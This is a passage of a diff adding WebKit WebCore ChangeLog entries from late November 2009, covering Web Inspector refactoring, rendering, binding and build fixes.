+        (WebInspector.BreakpointsSidebarPane.prototype._breakpointEnableChanged):
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype.clearMessages):
+        * inspector/front-end/CookieItemsView.js:
+        (WebInspector.CookieItemsView.prototype._deleteCookieCallback):
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.DOMAgent.prototype.getChildNodesAsync):
+        (WebInspector.DOMAgent.prototype.setAttributeAsync):
+        (WebInspector.DOMAgent.prototype.removeAttributeAsync):
+        (WebInspector.DOMAgent.prototype.setTextNodeValueAsync):
+        (WebInspector.Cookies.getCookiesAsync):
+        (WebInspector.EventListeners.getEventListenersForNodeAsync):
+        * inspector/front-end/DOMStorage.js:
+        (WebInspector.DOMStorage.prototype.getEntries):
+        (WebInspector.DOMStorage.prototype.setItem):
+        (WebInspector.DOMStorage.prototype.removeItem):
+        * inspector/front-end/Database.js:
+        (WebInspector.Database.prototype.getTableNames):
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.this.treeOutline.focusedNodeChanged):
+        (WebInspector.ElementsPanel.prototype.hide):
+        (WebInspector.ElementsPanel.prototype.reset):
+        (WebInspector.ElementsPanel.prototype.handleCopyEvent):
+        (WebInspector.ElementsPanel.prototype._nodeSearchButtonClicked):
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeOutline.prototype.set focusedDOMNode.restoreHighlightToHoveredNode):
+        (WebInspector.ElementsTreeOutline.prototype.set focusedDOMNode):
+        ():
+        * inspector/front-end/EventListenersSidebarPane.js:
+        (WebInspector.EventListenersSidebarPane.prototype):
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript._evaluateAndWrap):
+        (InjectedScript.performSearch.addNodesToResults):
+        (InjectedScript.getCallFrames):
+        (InjectedScript._callFrameForId):
+        (InjectedScript._clearConsoleMessages):
+        (InjectedScript._inspectObject):
+        (InjectedScript._copy):
+        (InjectedScript._ensureCommandLineAPIInstalled):
+        (InjectedScript._window):
+        (InjectedScript._nodeForId):
+        (InjectedScript._objectForId):
+        (InjectedScript.pushNodeToFrontend):
+        (InjectedScript.executeSql):
+        (InjectedScript.executeSql.errorCallback):
+        (InjectedScript.executeSql.queryTransaction):
+        * inspector/front-end/InjectedScriptAccess.js:
+        (InjectedScriptAccess._installHandler.InjectedScriptAccess.methodName):
+        (InjectedScriptAccess._installHandler):
+        * inspector/front-end/InspectorBackendStub.js: Added.
+        (.WebInspector.InspectorBackendStub):
+        (.WebInspector.InspectorBackendStub.prototype.wrapCallback):
+        (.WebInspector.InspectorBackendStub.prototype.platform):
+        (.WebInspector.InspectorBackendStub.prototype.port):
+        (.WebInspector.InspectorBackendStub.prototype.closeWindow):
+        (.WebInspector.InspectorBackendStub.prototype.attach):
+        (.WebInspector.InspectorBackendStub.prototype.detach):
+        (.WebInspector.InspectorBackendStub.prototype.storeLastActivePanel):
+        (.WebInspector.InspectorBackendStub.prototype.clearMessages):
+        (.WebInspector.InspectorBackendStub.prototype.searchingForNode):
+        (.WebInspector.InspectorBackendStub.prototype.search):
+        (.WebInspector.InspectorBackendStub.prototype.toggleNodeSearch):
+        (.WebInspector.InspectorBackendStub.prototype.setAttachedWindowHeight):
+        (.WebInspector.InspectorBackendStub.prototype.moveByUnrestricted):
+        (.WebInspector.InspectorBackendStub.prototype.addResourceSourceToFrame):
+        (.WebInspector.InspectorBackendStub.prototype.addSourceToFrame):
+        (.WebInspector.InspectorBackendStub.prototype.getResourceDocumentNode):
+        (.WebInspector.InspectorBackendStub.prototype.highlightDOMNode):
+        (.WebInspector.InspectorBackendStub.prototype.hideDOMNodeHighlight):
+        (.WebInspector.InspectorBackendStub.prototype.inspectedWindow):
+        (.WebInspector.InspectorBackendStub.prototype.loaded):
+        (.WebInspector.InspectorBackendStub.prototype.localizedStringsURL):
+        (.WebInspector.InspectorBackendStub.prototype.windowUnloading):
+        (.WebInspector.InspectorBackendStub.prototype.hiddenPanels):
+        (.WebInspector.InspectorBackendStub.prototype.debuggerEnabled):
+        (.WebInspector.InspectorBackendStub.prototype.enableResourceTracking):
+        (.WebInspector.InspectorBackendStub.prototype.disableResourceTracking):
+        (.WebInspector.InspectorBackendStub.prototype.resourceTrackingEnabled):
+        (.WebInspector.InspectorBackendStub.prototype.enableDebugger):
+        (.WebInspector.InspectorBackendStub.prototype.disableDebugger):
+        (.WebInspector.InspectorBackendStub.prototype.addBreakpoint):
+        (.WebInspector.InspectorBackendStub.prototype.removeBreakpoint):
+        (.WebInspector.InspectorBackendStub.prototype.updateBreakpoint):
+        (.WebInspector.InspectorBackendStub.prototype.pauseInDebugger):
+        (.WebInspector.InspectorBackendStub.prototype.pauseOnExceptions):
+        (.WebInspector.InspectorBackendStub.prototype.setPauseOnExceptions):
+        (.WebInspector.InspectorBackendStub.prototype.resumeDebugger):
+        (.WebInspector.InspectorBackendStub.prototype.profilerEnabled):
+        (.WebInspector.InspectorBackendStub.prototype.enableProfiler):
+        (.WebInspector.InspectorBackendStub.prototype.disableProfiler):
+        (.WebInspector.InspectorBackendStub.prototype.startProfiling):
+        (.WebInspector.InspectorBackendStub.prototype.stopProfiling):
+        (.WebInspector.InspectorBackendStub.prototype.getProfileHeaders):
+        (.WebInspector.InspectorBackendStub.prototype.getProfile):
+        (.WebInspector.InspectorBackendStub.prototype.takeHeapSnapshot):
+        (.WebInspector.InspectorBackendStub.prototype.databaseTableNames):
+        (.WebInspector.InspectorBackendStub.prototype.stepIntoStatementInDebugger):
+        (.WebInspector.InspectorBackendStub.prototype.stepOutOfFunctionInDebugger):
+        (.WebInspector.InspectorBackendStub.prototype.stepOverStatementInDebugger):
+        (.WebInspector.InspectorBackendStub.prototype.setSetting):
+        (.WebInspector.InspectorBackendStub.prototype.dispatchOnInjectedScript):
+        (.WebInspector.InspectorBackendStub.prototype.releaseWrapperObjectGroup):
+        (.WebInspector.InspectorBackendStub.prototype.setting):
+        * inspector/front-end/InspectorControllerStub.js:
+        * inspector/front-end/InspectorFrontendHostStub.js: Added.
+        (.WebInspector.InspectorFrontendHostStub):
+        (.WebInspector.InspectorFrontendHostStub.prototype.platform):
+        (.WebInspector.InspectorFrontendHostStub.prototype.port):
+        (.WebInspector.InspectorFrontendHostStub.prototype.closeWindow):
+        (.WebInspector.InspectorFrontendHostStub.prototype.attach):
+        (.WebInspector.InspectorFrontendHostStub.prototype.detach):
+        (.WebInspector.InspectorFrontendHostStub.prototype.search):
+        (.WebInspector.InspectorFrontendHostStub.prototype.setAttachedWindowHeight):
+        (.WebInspector.InspectorFrontendHostStub.prototype.moveWindowBy):
+        (.WebInspector.InspectorFrontendHostStub.prototype.addResourceSourceToFrame):
+        (.WebInspector.InspectorFrontendHostStub.prototype.addSourceToFrame):
+        (.WebInspector.InspectorFrontendHostStub.prototype.loaded):
+        (.WebInspector.InspectorFrontendHostStub.prototype.localizedStringsURL):
+        (.WebInspector.InspectorFrontendHostStub.prototype.hiddenPanels):
+        (.WebInspector.InspectorFrontendHostStub.prototype.setSetting):
+        (.WebInspector.InspectorFrontendHostStub.prototype.setting):
+        * inspector/front-end/ProfileView.js:
+        (WebInspector.CPUProfileView):
+        (WebInspector.CPUProfileType.prototype.buttonClicked):
+        * inspector/front-end/ProfilesPanel.js:
+        (WebInspector.ProfilesPanel.prototype._updateInterface):
+        (WebInspector.ProfilesPanel.prototype._enableProfiling):
+        (WebInspector.ProfilesPanel.prototype._toggleProfiling):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel.prototype.reset):
+        (WebInspector.ResourcesPanel.prototype._toggleLargerResources):
+        (WebInspector.ResourcesPanel.prototype._enableResourceTracking):
+        (WebInspector.ResourcesPanel.prototype._toggleResourceTracking):
+        * inspector/front-end/ScriptView.js:
+        (WebInspector.ScriptView.prototype.setupSourceFrameIfNeeded):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel.prototype.show):
+        (WebInspector.ScriptsPanel.prototype.addScript):
+        (WebInspector.ScriptsPanel.prototype.attachDebuggerWhenShown):
+        (WebInspector.ScriptsPanel.prototype.reset):
+        (WebInspector.ScriptsPanel.prototype.canShowResource):
+        (WebInspector.ScriptsPanel.prototype._showScriptOrResource):
+        (WebInspector.ScriptsPanel.prototype._addScriptToFilesMenu):
+        (WebInspector.ScriptsPanel.prototype._updatePauseOnExceptionsButton):
+        (WebInspector.ScriptsPanel.prototype._updateDebuggerButtons):
+        (WebInspector.ScriptsPanel.prototype._enableDebugging):
+        (WebInspector.ScriptsPanel.prototype._toggleDebugging):
+        (WebInspector.ScriptsPanel.prototype._togglePauseOnExceptions):
+        (WebInspector.ScriptsPanel.prototype._togglePause):
+        (WebInspector.ScriptsPanel.prototype._stepOverClicked):
+        (WebInspector.ScriptsPanel.prototype._stepIntoClicked):
+        (WebInspector.ScriptsPanel.prototype._stepOutClicked):
+        * inspector/front-end/SourceView.js:
+        (WebInspector.SourceView.prototype.setupSourceFrameIfNeeded):
+        (WebInspector.SourceView.prototype.performSearch.findSearchMatches):
+        (WebInspector.SourceView.prototype.performSearch):
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylesSidebarPane.prototype._changeColorFormat):
+        * inspector/front-end/TestController.js:
+        (WebInspector.TestController.prototype.notifyDone):
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel.prototype._toggleTimelineButtonClicked):
+        * inspector/front-end/WatchExpressionsSidebarPane.js:
+        (WebInspector.WatchExpressionsSection.prototype.update):
+        (WebInspector.WatchExpressionsSection.prototype.loadSavedExpressions):
+        (WebInspector.WatchExpressionsSection.prototype.saveExpressions):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.html:
+        * inspector/front-end/inspector.js:
+        (WebInspector.pendingDispatches.0.get platform):
+        (WebInspector.get port):
+        (WebInspector.set currentPanel):
+        (WebInspector._createPanels):
+        (WebInspector._loadPreferences):
+        (WebInspector.set attached):
+        (WebInspector._updateHoverHighlight):
+        (WebInspector.loaded):
+        (windowLoaded):
+        (WebInspector.windowUnload):
+        (WebInspector.close):
+        (WebInspector.toolbarDrag):
+        (WebInspector.UIString):
+
+2009-11-30  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Dan Bernstein.
+
+        css2.1/t1205-c566-list-stl-00-e-ag.html is failing
+        https://bugs.webkit.org/show_bug.cgi?id=23264
+        css2.1/t1205-c565-list-pos-00-b.html is failing
+        https://bugs.webkit.org/show_bug.cgi?id=23263
+
+        Ignore whitespaces after list markers.
+        Rendering of this was already done for the case where inside=false.
+        This fixes the rendering of inside=true case and calcInlinePrefWidths.
+
+        Test: fast/lists/calc-width-with-space.html
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::calcInlinePrefWidths):
+        * rendering/RenderBlockLineLayout.cpp:
+        (WebCore::RenderBlock::findNextLineBreak):
+
+2009-11-30  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Unreviewed Chromium build fix introduced by r51212
+
+        Fix scriptStateFromNode and ScriptStateFromPage to take DOMWrapperWorld
+        as the first argument.
+        Move mainThreadNormalWorld() to ScriptState.{h,cpp}.
+        Add debuggerWorld() and pluginWorld() in ScriptState.h.
+
+        * bindings/v8/ScriptController.cpp:
+        * bindings/v8/ScriptController.h:
+        * bindings/v8/ScriptState.cpp:
+        (WebCore::scriptStateFromNode):
+        (WebCore::scriptStateFromPage):
+        (WebCore::mainThreadNormalWorld):
+        * bindings/v8/ScriptState.h:
+        (WebCore::debuggerWorld):
+        (WebCore::pluginWorld):
+
+2009-11-30  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Can focus but not type into content editable block that contains only non-editable content.
+        <rdar://problem/5982901>
+        https://bugs.webkit.org/show_bug.cgi?id=31750
+        
+        The goal is to change the way we choose a visible position
+        after hit detection, by preferring a visually equivalent editable
+        position if available. By doing this, it is possible to add content
+        to an editable block that initially contains only non editable elements.
+
+        Test: editing/selection/mixed-editability-10.html
+
+        * WebCore.base.exp: Changed to match the new signature of downstream
+        and upstream in the Position class.
+        * dom/Position.cpp:
+        (WebCore::Position::atEditingBoundary): Added.
+        (WebCore::Position::upstream): Modified to allow to cross the boundary
+        between editable and non editable content if required.
+        (WebCore::Position::downstream): Modified to allow to cross the boundary
+        between editable and non editable content if required.
+        (WebCore::Position::isCandidate): Modified to qualify as candidates positions
+        that are at the editability boundary.
+        (WebCore::Position::getInlineBoxAndOffset): Modified to retrieve the inline box
+        to be used in calculating the caret rectangle.
+        * dom/Position.h:
+        (WebCore::Position::):
+        * dom/PositionIterator.cpp:
+        (WebCore::PositionIterator::atEditingBoundary): Added.
+        (WebCore::PositionIterator::isCandidate): Modified to qualify as candidates positions
+        that are at the editability boundary.
+        * dom/PositionIterator.h:
+        * editing/htmlediting.cpp:
+        (WebCore::firstEditablePositionAfterPositionInRoot): Modified to accept not only
+        descendants of the editable container, but the container itself.
+        (WebCore::lastEditablePositionBeforePositionInRoot): Modified to accept not only
+        descendants of the editable container, but the container itself.
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::createVisiblePosition): Added logic to prefer an editable position,
+        if available.
+        * rendering/RenderText.cpp:
+        (WebCore::RenderText::isAllCollapsibleWhitespace): Added.
+        * rendering/RenderText.h:
+
+2009-11-30  Kevin Ollivier  <kevino@theolliviers.com>
+
+        wx build fix, add header needed for wx build.
+
+        * css/CSSFontFaceSrcValue.cpp:
+
+2009-11-30  Mark Rowe  <mrowe@apple.com>
+
+        Reviewed by David Kilzer.
+
+        <rdar://problem/7424387> WebCore binary missing symbols when built for x86_64 from a machine that cannot run x86_64 binaries
+
+        The check for whether WTF_USE_PLUGIN_HOST_PROCESS is defined occurs under the native architecture of the build machine.
+        If that is 32-bit then WTF_USE_PLUGIN_HOST_PROCESS will not be defined.  We work around this by forcing the check to
+        be performed against the x86_64 architecture.
+
+        * DerivedSources.make:
+
+2009-11-30  Beth Dakin  <bdakin@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=32000 Crash in 
+        Safari caused by extreme column-gap and column-width values 
+        -and corresponding-
+        <rdar://problem/7425433>
+
+        Prevent desiredColumnCount from being less than 1 since it is used 
+        as a divisor.
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::calcColumnWidth):
+
+2009-11-30  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31659
+        Connection must be closed in case of Web Socket handshake error
+
+        The network connection was closed, but the close event wasn't dispatched.
+
+        Tested by websocket/tests/handshake-error.html, which is un-skipped now.
+
+        * platform/network/cf/SocketStreamHandleCFNet.cpp: (WebCore::SocketStreamHandle::platformClose):
+        Call client didHandle() method. This looks strange in CFNetwork implementation, because
+        it's the client that asked to close the stream, so it shouldn't need the callback. It makes
+        more sense in cross-process implementation, because closing is async there.
+
+2009-11-30  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        Bug 31859 - Make world selection for JSC IsolatedWorlds automagical.
+
+        WebCore presently has to explicitly specify the world before entering into JSC,
+        which is a little fragile (particularly since property access via a
+        getter/setter might invoke execution). Instead derive the current world from
+        the lexical global object.
+
+        Remove the last uses of mainThreadCurrentWorld(), so the world is always obtained via
+        currentWorld().  Switch this to obtain the world from the ExecsState's lexical global
+        object instead.  Remove the call/construct/evaluate 'InWorld' methods, since these
+        are no longer necessary.
+
+        * WebCore.base.exp:
+        * bindings/js/JSCallbackData.cpp:
+        (WebCore::JSCallbackData::invokeCallback):
+        * bindings/js/JSCallbackData.h:
+        (WebCore::JSCallbackData::JSCallbackData):
+        * bindings/js/JSCustomXPathNSResolver.cpp:
+        (WebCore::JSCustomXPathNSResolver::lookupNamespaceURI):
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::currentWorld):
+        (WebCore::mainThreadNormalWorld):
+        * bindings/js/JSDOMBinding.h:
+        (WebCore::WebCoreJSClientData::WebCoreJSClientData):
+        * bindings/js/JSDOMWindowBase.cpp:
+        (WebCore::JSDOMWindowBase::updateDocument):
+        * bindings/js/JSDOMWindowBase.h:
+        * bindings/js/JSEventListener.cpp:
+        (WebCore::JSEventListener::handleEvent):
+        (WebCore::JSEventListener::reportError):
+        * bindings/js/JSHTMLDocumentCustom.cpp:
+        (WebCore::JSHTMLDocument::open):
+        * bindings/js/JSNodeFilterCondition.cpp:
+        (WebCore::JSNodeFilterCondition::acceptNode):
+        * bindings/js/JSQuarantinedObjectWrapper.cpp:
+        (WebCore::JSQuarantinedObjectWrapper::construct):
+        (WebCore::JSQuarantinedObjectWrapper::call):
+        * bindings/js/ScheduledAction.cpp:
+        (WebCore::ScheduledAction::executeFunctionInContext):
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::evaluateInWorld):
+        (WebCore::ScriptController::initScript):
+        (WebCore::ScriptController::updateDocument):
+        * bindings/js/ScriptFunctionCall.cpp:
+        (WebCore::ScriptFunctionCall::call):
+        (WebCore::ScriptFunctionCall::construct):
+        * bindings/js/ScriptObjectQuarantine.cpp:
+        (WebCore::getQuarantinedScriptObject):
+        * bindings/js/ScriptState.cpp:
+        (WebCore::scriptStateFromNode):
+        (WebCore::scriptStateFromPage):
+        * bindings/js/ScriptState.h:
+        * bindings/js/WorkerScriptController.cpp:
+        (WebCore::WorkerScriptController::evaluate):
+        * bindings/objc/WebScriptObject.mm:
+        (-[WebScriptObject callWebScriptMethod:withArguments:]):
+        (-[WebScriptObject evaluateWebScript:]):
+        * bridge/NP_jsobject.cpp:
+        (_NPN_InvokeDefault):
+        (_NPN_Invoke):
+        (_NPN_Evaluate):
+        (_NPN_Construct):
+        * bridge/jni/jni_jsobject.mm:
+        (JavaJSObject::call):
+        (JavaJSObject::eval):
+        * dom/NodeFilter.h:
+        (WebCore::NodeFilter::acceptNode):
+        * dom/NodeIterator.h:
+        (WebCore::NodeIterator::nextNode):
+        (WebCore::NodeIterator::previousNode):
+        * dom/TreeWalker.h:
+        (WebCore::TreeWalker::parentNode):
+        (WebCore::TreeWalker::firstChild):
+        (WebCore::TreeWalker::lastChild):
+        (WebCore::TreeWalker::previousSibling):
+        (WebCore::TreeWalker::nextSibling):
+        (WebCore::TreeWalker::previousNode):
+        (WebCore::TreeWalker::nextNode):
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::windowScriptObjectAvailable):
+        (WebCore::InspectorController::didEvaluateForTestInFrontend):
+        * inspector/JavaScriptCallFrame.cpp:
+        (WebCore::JavaScriptCallFrame::evaluate):
+
+2009-11-30  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        All HTML5 media element events should be regular events
+        https://bugs.webkit.org/show_bug.cgi?id=30513
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::selectMediaResource):
+        (WebCore::HTMLMediaElement::noneSupported):
+        (WebCore::HTMLMediaElement::mediaEngineError):
+        (WebCore::HTMLMediaElement::setNetworkState):
+        (WebCore::HTMLMediaElement::userCancelledLoad):
+            Call scheduleEvent instead of scheduleProgressEvent.
+        (WebCore::HTMLMediaElement::progressEventTimerFired):
+            Call scheduleEvent instead of scheduleProgressEvent. Call renderer->updateFromElement
+            after scheduling a 'progress' event so the controller will update download
+            progress indicator.
+        * html/HTMLMediaElement.h:
+            Remove scheduleProgressEvent prototype.
+
+2009-11-30  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Pavel Feldman.
+
+        Web Inspector: Wrong console output for Regexp escape sequence
+        https://bugs.webkit.org/show_bug.cgi?id=31538
+
+        Updated inspector/console-format.html
+
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.createDividerElement): style issues.
+        (WebInspector.ConsoleView.createFilterElement): style issues.
+        (WebInspector.ConsoleView): added _customFormatters table.
+        (WebInspector.ConsoleView.prototype.updateMessageRepeatCount): style isses.
+        (WebInspector.ConsoleView.prototype._incrementErrorWarningCount): style issues.
+        (WebInspector.ConsoleView.prototype._format): simplified delegation to formatter logic.
+        (WebInspector.ConsoleView.prototype._formatobject):
+        (WebInspector.ConsoleView.prototype._formatnode):
+        (WebInspector.ConsoleView.prototype._printArray):
+        (WebInspector.ConsoleMessage.prototype._format): commented and broke down the algorithm into parts.
+        (WebInspector.ConsoleMessage.prototype._formatWithSubstitutionString.append): handle substitution string formatting.
+        (WebInspector.ConsoleMessage.prototype._formatIndividualValue): handling individual value formatting.
+        (WebInspector.ConsoleCommandResult):
+        * inspector/front-end/InjectedScript.js: simplified regex formatting.
+        * inspector/front-end/inspector.js:
+        (WebInspector.linkifyStringAsFragment): converted new RegExp to literal for performance benefits.
+        * inspector/front-end/utilities.js: 
+        (Element.prototype.hasStyleClass): update inaccurate comment.
+        (String.prototype.trimURL): converted new RegExp to literal for performance benefits.
+
+2009-11-30  Erik Arvidsson  <arv@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Clean up V8 bindings for CSSStyleDeclaration and CSSVariableDeclaration
+        https://bugs.webkit.org/show_bug.cgi?id=31895
+
+        No new tests. This is already covered by:
+                fast/dom/CSSStyleDeclaration/css-computed-style-item.html
+                fast/dom/CSSStyleDeclaration/css-style-item.html
+
+        * bindings/v8/V8Collection.h:
+        (WebCore::collectionStringIndexedPropertyGetter):
+        (WebCore::setCollectionStringIndexedGetter):
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate):
+
+2009-11-30  Steve Block  <steveblock@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Adds include of wtf/StdLibExtras.h for DEFINE_STATIC_LOCAL in V8 ScriptController.
+        https://bugs.webkit.org/show_bug.cgi?id=31932
+
+        Build fix only, no new tests.
+
+        * bindings/v8/ScriptController.cpp: Modified. Adds include of wtf/StdLibExtras.h.
+
+2009-11-30  Steve Block  <steveblock@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Adds PassOwnPtr include to ScriptExecutionContext.h.
+        https://bugs.webkit.org/show_bug.cgi?id=31929
+
+        Build fix only, no new tests.
+
+        * dom/ScriptExecutionContext.h: Modified. Adds PassOwnPtr include.
+
+2009-11-30  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Nikolas Zimmermann.
+
+        REGRESSION (r49757): masking-mask-01-b.svg rendered incorrectly
+        [https://bugs.webkit.org/show_bug.cgi?id=31980]
+
+        It turns out, that we did not handle maskUnits="userSpaceOnUse"
+        correctly. We just need to move the context of the maskImage
+        if maskContentUnits="objectBoundingBox". The context gets scaled
+        on this unit combination, so we have to substract the position of
+        the targetRect. On userSpaceOnUse the position just depends on the
+        position of the mask element.
+        I added a test with some senseless and reasonable values for size
+        and postion of the mask and it's contents. I also used every
+        combination of maskUnits and maskContentUnits to be sure, that it
+        is fixed this time.
+
+        Test: svg/custom/mask-with-all-units.svg
+
+        * svg/SVGMaskElement.cpp:
+        (WebCore::SVGMaskElement::drawMaskerContent):
+
+2009-11-30  Steve Block  <steveblock@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Adds ENABLE(INSPECTOR) guards around DOMWindow::inspectorTimelineAgent.
+        https://bugs.webkit.org/show_bug.cgi?id=31928
+
+        Build fix only, no new tests.
+
+        * page/DOMWindow.cpp: Modified. Adds ENABLE(INSPECTOR) guards around DOMWindow::inspectorTimelineAgent.
+
+2009-11-30  Steve Block  <steveblock@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Adds SHARED_WORKERS guards to V8 WorkerContextExecutionProxy.
+        https://bugs.webkit.org/show_bug.cgi?id=31926
+
+        Build fix only, no new tests.
+
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        (WebCore::WorkerContextExecutionProxy::initContextIfNeeded):
+        (WebCore::WorkerContextExecutionProxy::convertToV8Object):
+        (WebCore::WorkerContextExecutionProxy::convertEventTargetToV8Object):
+
+2009-11-30  Benjamin Poulain  <benjamin.poulain@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        Chrome::contentsSizeChanged() is called when the content size has not changed
+        https://bugs.webkit.org/show_bug.cgi?id=31978
+
+        Do not trigger contentsSizeChaned() is the new size is the same as the old one.
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::setContentsSize):
+
+2009-11-30  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Fix some compiler warnings seen on QtWebKit/Mac
+        https://bugs.webkit.org/show_bug.cgi?id=31962
+
+        No new tests as there is no functional change.
+
+        * platform/network/ResourceHandle.h: Make destructor virtual as 
+        after r50772 ResourceHandle has virtual functions.
+
+        * plugins/mac/PluginPackageMac.cpp: 
+        (WebCore::PluginPackage::fetchInfo): Fix typo WTF is a namespace
+        not a label
+
+        * plugins/mac/PluginViewMac.cpp:
+        (WebCore::PluginView::setNPWindowIfNeeded): Add l to the format
+        specifier
+
+2009-11-30  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        Add new headers to sources list.
+
+        * GNUmakefile.am:
+
+2009-11-30  Girish Ramakrishnan  <girish@forwardbias.in>
+
+        Reviewed by Holger Freyther.
+
+        [Qt] Mac Plugins : Get context menu to work in QGraphicsView
+        
+        Flash expects the value in record.where to be the global position for
+        displaying the context menu.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=31979
+
+        * plugins/mac/PluginViewMac.cpp:
+        (WebCore::PluginView::handleMouseEvent):
+
+2009-11-30  Steve Block  <steveblock@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Adds PLATFORM(CHROMIUM) guards around memory usage code in V8GCController.
+        https://bugs.webkit.org/show_bug.cgi?id=31925
+
+        This code uses ChromiumBridge and Chromium-specific constant values not
+        appropriate for other platforms such as Android.
+
+        Build fix only, no new tests.
+
+        * bindings/v8/V8GCController.cpp: Modified. Adds PLATFORM(CHROMIUM) around Chromium-specific code.
+
+2009-11-29  Brent Fulgham  <bfulgham@webkit.org>
+
+        Build fix.
+
+        Correct draw signature used in ImageCairoWin.cpp.
+
+        * platform/graphics/win/ImageCairoWin.cpp:
+        (WebCore::BitmapImage::getHBITMAPOfSize):
+        (WebCore::BitmapImage::drawFrameMatchingSourceSize):
+
+2009-11-28  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        postMessage should serialize File objects
+        https://bugs.webkit.org/show_bug.cgi?id=31955
+
+        Update SerializedScriptValue to include support for
+        File objects in the serialized object graph.
+
+        * bindings/js/SerializedScriptValue.cpp:
+        (WebCore::SerializedScriptValueData::SerializedScriptValueData):
+        (WebCore::SerializingTreeWalker::convertIfTerminal):
+        (WebCore::DeserializingTreeWalker::convertIfTerminal):
+        * bindings/js/SerializedScriptValue.h:
+        (WebCore::SerializedScriptValueData::):
+        (WebCore::SerializedScriptValueData::asString):
+
+2009-11-29  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Optimize the hierarchy rebuilding of compositing layers
+        https://bugs.webkit.org/show_bug.cgi?id=31879
+        
+        When updating the compositing layer hierarchy, instead of removing all
+        child layers and then re-adding them one by one, build a vector of child
+        layers, and set them in one go.
+        
+        * platform/graphics/GraphicsLayer.h:
+        * platform/graphics/GraphicsLayer.cpp:
+        (WebCore::GraphicsLayer::setChildren): New method that takes a Vector of child
+        GraphicsLayers.
+        
+        * platform/graphics/mac/GraphicsLayerCA.h: Override setChildren().
+        * platform/graphics/win/GraphicsLayerCACF.h: Ditto.
+        * platform/graphics/mac/GraphicsLayerCA.mm: 
+        (WebCore::GraphicsLayerCA::setChildren): Implement setChildren() to 
+        set the bit that notes that sublayers changed.
+        * platform/graphics/win/GraphicsLayerCACF.cpp:
+        (WebCore::GraphicsLayerCACF::setChildren): Implement setChildren() to 
+        udpate sublayers, with a note that this is not efficient.
+        
+        * rendering/RenderLayerCompositor.h:
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::updateCompositingLayers):
+        When updating compositing layers, use the faster updateLayerTreeGeometry() if
+        we know that no layer hierarchy changes are needed, and, at the root, use
+        the vector returned from rebuildCompositingLayerTree() to attach the root
+        layer.
+        (WebCore::RenderLayerCompositor::rebuildCompositingLayerTree): Changed to
+        collect child layers into Vectors of GraphicsLayers, which can be set as
+        layer children in one go.
+        (WebCore::RenderLayerCompositor::updateLayerTreeGeometry): Split out from
+        rebuildCompositingLayerTree() for simplicity, and called when we just need to
+        update layer geometry, without doing any reparenting.
+
+2009-11-29  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31971
+
+        Updated comment to reflect latest XSSAuditor bindings.
+
+        No functionality was changed. So, no new tests.
+
+        * page/XSSAuditor.h:
+
+2009-11-29  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31969
+
+        Removes unnecessary #include files.
+
+        No functionality was changed. So, no new tests.
+
+        * css/CSSComputedStyleDeclaration.cpp: Removed include CachedImage.h, and
+        Pair.h
+        * css/CSSCursorImageValue.cpp: Removed include RenderStyle.h
+        * css/CSSFontFaceSrcValue.cpp: Removed include Node.h
+        * css/CSSFontSelector.cpp: Removed include NodeList.h
+        * css/CSSGradientValue.cpp: Removed include GraphicsContext.h, ImageBuffer.h
+        * css/CSSImageValue.cpp: Removed include RenderStyle.h
+        * css/CSSImportRule.cpp: Removed include MediaList.h
+        * css/CSSMutableStyleDeclaration.cpp: Removed include CSSProperty.h
+        * css/CSSRule.cpp: Removed include CSSStyleSheet.h
